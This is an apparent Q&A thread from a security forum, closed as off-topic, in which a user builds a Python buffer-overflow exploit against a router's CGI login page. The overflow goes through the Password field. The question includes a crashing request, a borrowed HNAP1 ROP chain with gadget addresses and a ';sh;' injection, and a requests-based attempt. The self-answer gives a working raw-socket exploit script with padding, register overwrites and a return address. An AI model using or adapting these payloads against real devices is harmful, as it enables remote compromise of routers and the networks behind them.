1

I am trying to develop an exploit in python. but I am not able to write an proper exploit. Below are the scenarios were i am facing problem.

  1. below is the HTTP request which occurs the crash
POST /cgi-bin/index2.asp HTTP/1.1
Host: 192.168.1.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/cgi-bin/index2.asp
Cookie: LoginTimes=1; SESSIONID=boasxxxxxxxxxxxxxxxxxxxxxxxxxxxx; TOKEN=413xxxxxxxxxxxxxxxxxxxx
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Username=admin&Logoff=0&hLoginTimes=1&hLoginTimes_Zero=0&value_one=1&Password1=xsss&Password2=xsss&logintype=usr&Password=AAAAAAAA
  1. Now the buffer overflow occurs brcause of password field so it is like A*1024+register S0+S1+S2+S3(Here i want to put shellcode)+ return address (which should point to shell code).

  2. Now i want to write the python code which should looks like below

import socket
import struct
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission
buf+="AAAA" #s7 JUNK
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which 
buf+="B"*28+"\r\n" + "1\r\n\r\n" 

  1. And my current code looks like below
import requests
import os,sys,re
import struct
url = "http://192.168.1.1:80/cgi-bin/index2.asp"
cookies = {"LoginTimes": "1", "SESSIONID": "boasid055206d8b3d40bd82bdad6b693341bc3", "TOKEN": "413ab27aa9b4a94a003e3e9c080ec368"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.1/cgi-bin/index2.asp", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data={"Username": "admin", "Logoff": "0", "hLoginTimes": "1", "hLoginTimes_Zero": "0", "value_one": "1", "Password1": "xsss", "Password2": "xss", "logintype": "usr", "Password": "AAAA1024 times\x02\xac\x14\xc30AAAA\x02\xac\x14\xc0AAAAAAAAAA\x02\xac\x14\xc0"}
requests.post(url, headers=headers, cookies=cookies, data=data)

So now my question is how can i send data= fileds in code mention in 3. because in above mention code there are HTTP headers but in my exploits fields are data not header. Or How can i send memory address in python requests module. or how can i send data in code mention in 3.

Thanks S3curityB3ast

closed as off-topic by Steffen Ullrich, forest, Xander, ThoriumBR, CaffeineAddiction Jun 15 '18 at 17:13

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "This question does not appear to be about Information security within the scope defined in the help center." – Steffen Ullrich, forest, Xander, ThoriumBR, CaffeineAddiction
If this question can be reworded to fit the rules in the help center, please edit the question.

  • It is not fully clear what you are trying to achieve and the request you show is no valid HTTP request either (missing end-of-header marker) but it looks for me that you are basically asking how to create a HTTP requests with a specific payload. In my opinion this is just a pure coding question, i.e. off-topic. – Steffen Ullrich Jun 8 '18 at 11:00
  • HTTP request is valid and working. I want to develop exploit which looks like point number 3, since my exploit which mention in 4 is passing memory address \x2B\xC1\xC9\x08 as a string. maybe because i am using requests module from python. i want to convert my exploit code(4) into 3. – Security Beast Jun 8 '18 at 11:42
  • The HTTP request is missing an empty line after the HTTP header, i.e. after Content-length: 126. But still, this is a pure coding question and thus off-topic. – Steffen Ullrich Jun 8 '18 at 12:55
0

After spending some time with gdb and python finally i come-up with the code which can parse the Address as a address instead of String.

import socket
import struct
buf = "POST /cgi-bin/index2.asp  HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://192.168.1.2/cgi-bin/index2.asp\r\nCookie: LoginTimes=0\r\nConnection: Close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1714\r\n\n"
buf+="Username=Bufferoverflow"
buf+="&Logoff=0" 
buf+="&LoginTimes=1"
buf+="&LoginTimes_Zero=0"
buf+="&value_one=1"
buf+="&Password1=xss"
buf+="&Password2=xss"
buf+="&logintype=usr"
buf+="&Password="
buf+="A"*999 #Padding till T4
buf+="T4T4" #T4 Address 0x2BB30D5C kill address based on libc
buf+="T7T7" #T7 sleep address based on libc
buf+="B"*9 #Padding till T6
buf+= "T6T6" #T7 Address Sleep Address Based on libc negetive
buf+="K"*8 #Padding between T6to s0
buf+="S0S0" #S0 Address sleep address boa possitive
buf+="S1S1" #S1 Address Sleep Address Boa negetive
buf+="S2S2" #S2 Address Normal Sleep Adress
buf+="S3S3" #S3Address System Address
buf+="\xA0\x0E\xA2\x18" #return Address
buf+="K"*600
print buf
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(buf)

And The Final conclusion

Requests module parse the value as a string. and wen you use socket it parse the value as an address

Not the answer you're looking for? Browse other questions tagged or ask your own question.